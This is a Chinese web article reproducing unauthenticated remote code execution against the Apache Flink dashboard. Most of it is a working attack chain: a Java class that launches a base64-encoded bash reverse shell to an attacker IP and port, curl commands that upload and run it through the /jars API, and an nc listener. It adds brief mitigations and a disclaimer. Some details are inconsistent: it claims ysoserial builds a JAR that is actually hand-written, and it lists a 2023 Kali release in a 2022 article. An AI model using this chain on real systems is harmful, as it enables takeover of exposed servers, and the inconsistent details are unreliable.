Apache Flink未授权访问远程代码命令执行的复现

发布时间:2022-01-18 16:14:44 作者:柒染
来源:亿速云 阅读:883
# Apache Flink未授权访问远程代码命令执行的复现

## 0x00 漏洞背景

Apache Flink作为开源的流处理框架,在大数据处理领域广泛应用。其Web Dashboard默认监听8081端口,若未正确配置安全策略,攻击者可能通过未授权访问实现远程代码执行(RCE)。该漏洞影响多个Flink版本,属于高危风险。

## 0x01 环境搭建

### 实验环境
- 攻击机:Kali Linux 2023.1 (IP: 192.168.1.100)
- 靶机:Ubuntu 20.04 + Apache Flink 1.11.2
- 工具:Burp Suite、curl、nc

### 靶机部署
```bash
# 下载Flink
wget https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz
tar -xzf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2

# 启动集群(默认不启用认证)
./bin/start-cluster.sh

0x02 漏洞验证

未授权访问检测

访问http://<target>:8081,若直接显示Dashboard且无需认证,则存在未授权访问:

curl -I http://192.168.1.200:8081
HTTP/1.1 200 OK
Content-Type: text/html

接口探测

关键危险接口: - /jars/upload:上传JAR文件 - /jars/<jar-id>/run:执行JAR包 - /jars/<jar-id>/plan:获取执行计划

0x03 漏洞利用

步骤1:制作恶意JAR

使用ysoserial生成反弹shell的JAR:

// EvilJob.java
public class EvilJob {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");
    }
}

编译打包:

javac EvilJob.java
jar cvf evil.jar EvilJob.class

步骤2:上传JAR文件

通过API接口上传:

curl -X POST -F "jarfile=@evil.jar" http://192.168.1.200:8081/jars/upload

返回示例:

{
  "filename": "evil.jar",
  "status": "success",
  "id": "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar"
}

步骤3:触发RCE

方法一:直接执行

curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/run"

方法二:通过Plan API(更隐蔽)

curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/plan" \
-H "Content-Type: application/json" \
-d '{"programArgs":"--host 192.168.1.100 --port 4444"}'

步骤4:获取反弹Shell

攻击机监听:

nc -lvnp 4444

成功获取到目标系统的shell权限。

0x04 流量分析

HTTP请求示例

POST /jars/upload HTTP/1.1
Host: 192.168.1.200:8081
Content-Type: multipart/form-data
Content-Length: 1234

[恶意JAR文件二进制数据]

特征检测

0x05 修复建议

临时缓解措施

  1. 网络层隔离:

    iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
    iptables -A INPUT -p tcp --dport 8081 -j DROP
    
  2. 配置文件修改(flink-conf.yaml):

    web.submit.enable: false
    security.ssl.enabled: true
    

长期解决方案

0x06 漏洞原理

漏洞成因在于: 1. 默认无认证:Web UI/API未强制身份验证 2. 危险功能暴露:允许任意用户提交执行Job 3. 反序列化风险:Flink使用Java序列化机制

攻击流程图:

graph TD
    A[发现开放8081端口] --> B[访问Web UI]
    B --> C{是否需要认证}
    C -->|否| D[上传恶意JAR]
    C -->|是| E[停止攻击]
    D --> F[触发执行]
    F --> G[获取RCE]

0x07 参考链接

”`

(注:实际执行漏洞利用需获得合法授权,本文仅作技术研究用途)

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

flink

上一篇:SAP怎么从QI库存里退货给Vendor

下一篇:SAP不能创建内向交货单吗

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》